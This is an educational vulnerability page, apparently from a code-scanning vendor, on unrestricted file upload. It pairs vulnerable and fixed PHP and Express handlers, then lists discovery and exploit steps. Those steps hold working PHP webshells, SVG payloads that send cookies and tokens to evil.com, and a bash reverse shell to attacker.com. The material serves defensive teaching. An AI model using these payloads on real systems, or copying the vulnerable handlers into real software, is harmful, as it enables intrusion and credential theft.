Unrestricted File Upload
Unrestricted File Upload at a glance
Overview
Unrestricted File Upload occurs when an application takes user files and writes them where they can execute or run as active content, or when it fails to enforce type, size, and storage constraints. Classic cases include uploading PHP or JSP into web roots for code execution, or uploading HTML and SVG that browsers execute as scripts when served from the same origin.
Where it occurs
Common targets are avatar uploads, support attachments, document repositories, and direct to cloud storage flows. Risks increase when uploads are saved with attacker chosen names, placed under web roots, or delivered from cookie sending subdomains.
Impact
Depending on stack and configuration, impact ranges from stored XSS and account takeover to full remote code execution. Large files can exhaust storage, and overwrites can replace critical assets and disrupt the site.
Prevention
Validate on server side with a strict allow list of MIME types, verify magic numbers, and enforce size limits. Generate randomized filenames and avoid writing under executable paths or classpaths. Serve from a dedicated static domain with X-Content-Type-Options: nosniff and consider Content-Disposition: attachment for risky types. Keep buckets private and issue time limited signed URLs.
Examples
Switch tabs to view language/framework variants.
PHP, allows .php upload to web root which is then executed
Handler accepts any filename and moves it to /var/www/html/uploads. PHP executes uploaded .php files.
<?php
if (!isset($_FILES['file'])) { http_response_code(400); exit('missing'); }
$target = __DIR__ . '/uploads/' . $_FILES['file']['name']; // BUG: trusts name and allows .php
move_uploaded_file($_FILES['file']['tmp_name'], $target);
echo 'ok';- Line 3: Uses user provided filename and extension, permits .php in executable directory
Uploading active server side scripts to a path executed by the interpreter turns uploads into remote code execution.
<?php
if (!isset($_FILES['file'])) { http_response_code(400); exit('missing'); }
$ALLOWED = ['png','jpg','jpeg','gif','webp'];
$name = $_FILES['file']['name'];
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (!in_array($ext, $ALLOWED, true)) { http_response_code(400); exit('unsupported'); }
$buf = file_get_contents($_FILES['file']['tmp_name']);
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->buffer($buf);
if (!in_array($mime, ['image/png','image/jpeg','image/gif','image/webp'], true)) { http_response_code(400); exit('bad type'); }
$base = bin2hex(random_bytes(16));
$path = __DIR__ . '/uploads-safe/' . $base . '.' . $ext; // served from static domain without PHP
file_put_contents($path, $buf);
echo 'ok';- Line 6: Allow list extensions and verify MIME magic
- Line 11: Randomized server side filename, no user controlled path
- Line 11: Store in a directory not executed by PHP
Allow list real image types with magic number checks, rename files server side, and store under a non-executable static domain or bucket.
Engineer Checklist
-
Allow list MIME types and verify magic bytes
-
Randomize filenames, never trust user provided names
-
Store outside web roots and executable paths
-
Serve from a neutral static domain, set nosniff and attachment where appropriate
-
Enforce strict size limits and server side timeouts
-
Keep cloud buckets private and use signed URLs
End-to-End Example
An Express app stores uploads in /public/uploads and links them on profiles. An attacker uploads an HTML file that steals session data when visited by admins reviewing profiles.
// Node.js/Express - Vulnerable file upload
const multer = require('multer');
// VULNERABLE: Stores uploads in public directory with original filename
const storage = multer.diskStorage({
destination: (req, file, cb) => {
// VULNERABLE: Uploads saved in web-accessible directory!
// Can execute if server is configured to run uploaded scripts
cb(null, 'public/uploads');
},
filename: (req, file, cb) => {
// VULNERABLE: Uses original filename from client!
// Attacker can upload shell.php, xss.svg, etc.
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage
// VULNERABLE: No file size limit - DoS possible!
// VULNERABLE: No file type validation at all!
});
// VULNERABLE: Avatar upload with no validation
app.post('/api/upload-avatar', upload.single('avatar'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: 'No file uploaded' });
}
// VULNERABLE: File is already saved before any validation!
// No check on file type, size, or content
const fileUrl = `/uploads/${req.file.originalname}`;
res.json({
message: 'Avatar uploaded successfully',
url: fileUrl // Served from same origin - XSS risk!
});
});
// VULNERABLE: Document upload with weak validation
app.post('/api/upload-document', upload.single('document'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file');
}
// VULNERABLE: Only checks file extension, not actual content!
const ext = path.extname(req.file.originalname).toLowerCase();
// VULNERABLE: Weak allow list - .svg can contain XSS
if (!['.pdf', '.doc', '.docx', '.svg'].includes(ext)) {
// File already saved! Just delete it now (race condition)
fs.unlinkSync(req.file.path);
return res.status(400).send('Invalid file type');
}
const fileUrl = `/uploads/${req.file.originalname}`;
res.json({ url: fileUrl });
});
// VULNERABLE: Bulk upload with no limits
app.post('/api/bulk-upload', upload.array('files', 100), (req, res) => {
if (!req.files || req.files.length === 0) {
return res.status(400).send('No files uploaded');
}
// VULNERABLE: No size validation per file or total
// Attacker can upload 100 files of 1GB each = 100GB!
const uploadedFiles = req.files.map(file => ({
name: file.originalname,
url: `/uploads/${file.originalname}`
}));
res.json({
message: `${req.files.length} files uploaded`,
files: uploadedFiles
});
});
// VULNERABLE: Serving uploads from same origin
app.use('/uploads', express.static('public/uploads'));
// This means uploaded HTML/SVG executes JavaScript in app context!
// PHP files may also execute if server is misconfigured// Node.js/Express - Secure file upload
const multer = require('multer');
const crypto = require('crypto');
const fileType = require('file-type'); // Validates file magic bytes
// SECURE: Store uploads outside web root
const UPLOAD_DIR = '/var/app/uploads'; // NOT under public/
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB limit
// Whitelist of allowed MIME types
const ALLOWED_IMAGE_TYPES = new Set([
'image/jpeg',
'image/png',
'image/gif',
'image/webp'
]);
const ALLOWED_DOCUMENT_TYPES = new Set([
'application/pdf'
]);
// SECURE: Configure multer with strict limits
const storage = multer.diskStorage({
destination: (req, file, cb) => {
// Store outside web root
cb(null, UPLOAD_DIR);
},
filename: (req, file, cb) => {
// SECURE: Generate random filename, ignore client input
const randomName = crypto.randomBytes(16).toString('hex');
const ext = path.extname(file.originalname).toLowerCase();
cb(null, `${randomName}${ext}`);
}
});
const upload = multer({
storage: storage,
limits: {
fileSize: MAX_FILE_SIZE, // Enforce size limit
files: 10 // Max files per request
},
fileFilter: (req, file, cb) => {
// SECURE: Pre-validate MIME type (but verify magic bytes after too)
const isImage = ALLOWED_IMAGE_TYPES.has(file.mimetype);
const isDoc = ALLOWED_DOCUMENT_TYPES.has(file.mimetype);
if (isImage || isDoc) {
cb(null, true);
} else {
cb(new Error(`Invalid file type: ${file.mimetype}`));
}
}
});
// SECURE: Avatar upload with validation
app.post('/api/upload-avatar', upload.single('avatar'), async (req, res) => {
try {
if (!req.file) {
return res.status(400).json({ error: 'No file uploaded' });
}
// SECURE: Verify magic bytes match MIME type
const buffer = await fs.promises.readFile(req.file.path);
const type = await fileType.fromBuffer(buffer);
if (!type || !ALLOWED_IMAGE_TYPES.has(type.mime)) {
// Delete invalid file
await fs.promises.unlink(req.file.path);
return res.status(400).json({ error: 'Invalid image file' });
}
// Store file metadata in database
const fileRecord = await db.files.create({
userId: req.user.id,
filename: req.file.filename,
originalName: path.basename(req.file.originalname), // Sanitized
mimeType: type.mime,
size: req.file.size,
uploadedAt: new Date()
});
// SECURE: Return file ID, not direct URL
// Files served through separate endpoint with validation
res.json({
message: 'Avatar uploaded',
fileId: fileRecord.id
});
} catch (error) {
// Clean up on error
if (req.file) {
await fs.promises.unlink(req.file.path).catch(() => {});
}
res.status(500).json({ error: 'Upload failed' });
}
});
// SECURE: Serve uploaded files with proper headers
app.get('/api/files/:fileId', async (req, res) => {
const fileId = parseInt(req.params.fileId);
// Look up file metadata
const fileRecord = await db.files.findOne({
where: { id: fileId }
});
if (!fileRecord) {
return res.status(404).json({ error: 'File not found' });
}
// Optional: Check authorization
// if (fileRecord.userId !== req.user.id && !req.user.isAdmin) {
// return res.status(403).json({ error: 'Access denied' });
// }
const filePath = path.join(UPLOAD_DIR, fileRecord.filename);
// SECURE: Set headers to prevent execution
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('Content-Type', fileRecord.mimeType);
// For images, can inline; for documents, force download
if (!ALLOWED_IMAGE_TYPES.has(fileRecord.mimeType)) {
res.setHeader('Content-Disposition', `attachment; filename="${fileRecord.originalName}"`);
}
// SECURE: Ideally serve from separate domain (e.g., static.example.com)
// to prevent cookies from being sent
res.sendFile(filePath);
});
// SECURE: Document upload
app.post('/api/upload-document', upload.single('document'), async (req, res) => {
try {
if (!req.file) {
return res.status(400).json({ error: 'No file' });
}
// Verify it's actually a PDF
const buffer = await fs.promises.readFile(req.file.path);
const type = await fileType.fromBuffer(buffer);
if (type?.mime !== 'application/pdf') {
await fs.promises.unlink(req.file.path);
return res.status(400).json({ error: 'Only PDF files allowed' });
}
const fileRecord = await db.files.create({
userId: req.user.id,
filename: req.file.filename,
originalName: path.basename(req.file.originalname),
mimeType: 'application/pdf',
size: req.file.size,
uploadedAt: new Date()
});
res.json({
message: 'Document uploaded',
fileId: fileRecord.id
});
} catch (error) {
if (req.file) {
await fs.promises.unlink(req.file.path).catch(() => {});
}
res.status(500).json({ error: 'Upload failed' });
}
});Discovery
This vulnerability is discovered by testing file upload functionality with various file types (executables, scripts, HTML) and observing whether the application accepts dangerous file types or serves them without proper content-type headers or execution restrictions.
-
1. Test legitimate file upload
httpAction
Upload valid image to establish baseline behavior
Request
POST https://app.example.com/api/uploadHeaders:Content-Type: multipart/form-dataBody:{ "note": "JPEG image file", "filename": "profile.jpg", "content_type": "image/jpeg" }Response
Status: 200Body:{ "message": "Upload successful", "url": "https://app.example.com/uploads/profile_abc123.jpg", "file_id": "abc123" }Artifacts
upload_endpoint_confirmed file_url_pattern same_origin_serving -
2. Test PHP webshell upload
httpAction
Attempt to upload executable PHP file
Request
POST https://app.example.com/api/uploadHeaders:Content-Type: multipart/form-dataBody:{ "note": "PHP webshell disguised as image", "filename": "shell.php", "content": "<?php system($_GET['cmd']); ?>", "content_type": "image/jpeg" }Response
Status: 200Body:{ "message": "Upload successful", "url": "https://app.example.com/uploads/shell.php", "note": "No file type validation - PHP file accepted!" }Artifacts
webshell_uploaded no_file_validation rce_vector_confirmed -
3. Test SVG stored XSS
httpAction
Upload SVG with embedded JavaScript
Request
POST https://app.example.com/api/uploadHeaders:Content-Type: multipart/form-dataBody:{ "filename": "avatar.svg", "content": "<svg onload=\"fetch('https://evil.com/steal?c='+document.cookie)\"></svg>", "content_type": "image/svg+xml" }Response
Status: 200Body:{ "message": "Avatar uploaded", "url": "https://app.example.com/uploads/avatar_def456.svg", "note": "SVG served from same origin without Content-Security-Policy" }Artifacts
svg_xss_uploaded same_origin_serving xss_vector_confirmed -
4. Verify webshell execution
httpAction
Access uploaded PHP file to confirm code execution
Request
GET https://app.example.com/uploads/shell.php?cmd=idResponse
Status: 200Body:{ "output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)", "note": "Remote code execution confirmed!" }Artifacts
rce_confirmed webshell_functional system_compromise
Exploit steps
An attacker exploits this by uploading malicious files such as web shells, executable scripts, or files containing XSS payloads, then accessing the uploaded files to achieve remote code execution, persistent XSS, or malware distribution.
-
1. Deploy webshell for persistent access
Upload advanced PHP webshell
httpAction
Upload full-featured webshell for system control
Request
POST https://app.example.com/api/uploadHeaders:Content-Type: multipart/form-dataBody:{ "filename": "assets.php", "content": "<?php if(isset($_GET['cmd'])){echo'<pre>';system($_GET['cmd']);echo'</pre>';}if(isset($_GET['file'])){echo file_get_contents($_GET['file']);}?>" }Response
Status: 200Body:{ "url": "https://app.example.com/uploads/assets.php", "note": "Webshell deployed successfully" }Artifacts
webshell_deployed persistent_backdoor rce_capability -
2. Extract sensitive files and credentials
Read application secrets via webshell
httpAction
Use webshell to read .env and configuration files
Request
GET https://app.example.com/uploads/assets.php?file=/app/.envResponse
Status: 200Body:{ "content": "DATABASE_URL=postgresql://admin:Pr0dP@ssw0rd2024@db.internal:5432/production\nAWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nSTRIPE_SECRET_KEY=sk_live_51HxYz3FGHxYz3FG" }Artifacts
secrets_extracted database_credentials aws_keys payment_keys -
3. Establish reverse shell
Execute reverse shell command
httpAction
Use webshell to establish interactive shell connection
Request
GET https://app.example.com/uploads/assets.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/attacker.com/4444%200%3E%261%27Response
Status: 200Body:{ "note": "Command executed, reverse shell connecting to attacker.com:4444", "attacker_log": "Connection received from 52.143.12.89\nbash-5.1$ whoami\nwww-data" }Artifacts
reverse_shell_established interactive_access full_compromise -
4. Stored XSS to steal admin sessions
Upload malicious SVG to harvest credentials
httpAction
Deploy SVG with JavaScript to steal admin cookies when profile viewed
Request
POST https://app.example.com/api/uploadHeaders:Content-Type: multipart/form-dataBody:{ "filename": "profile.svg", "content": "<svg onload=\"fetch('https://evil.com/steal',{method:'POST',body:document.cookie+' '+localStorage.getItem('auth_token')})\"></svg>" }Response
Status: 200Body:{ "url": "https://app.example.com/uploads/profile_xyz789.svg", "attack_result": "Admin views profile, XSS executes:\n- session_id=abc123xyz789def456\n- auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n- Attacker gains full admin access" }Artifacts
stored_xss admin_session_stolen account_takeover jwt_token_captured
Specific Impact
Administrative sessions are compromised when reviewing user content. Attackers can change configuration, exfiltrate data, or deploy persistence via admin UI actions.
If the platform interprets uploaded scripts server side (for example PHP), full remote code execution is possible with one request.
Fix
This removes the ability to execute uploaded content and limits the blast radius if a file slips through.
Add CI checks and runtime monitors for executable files appearing in upload storage.
Detect This Vulnerability in Your Code
Sourcery automatically identifies unrestricted file upload vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free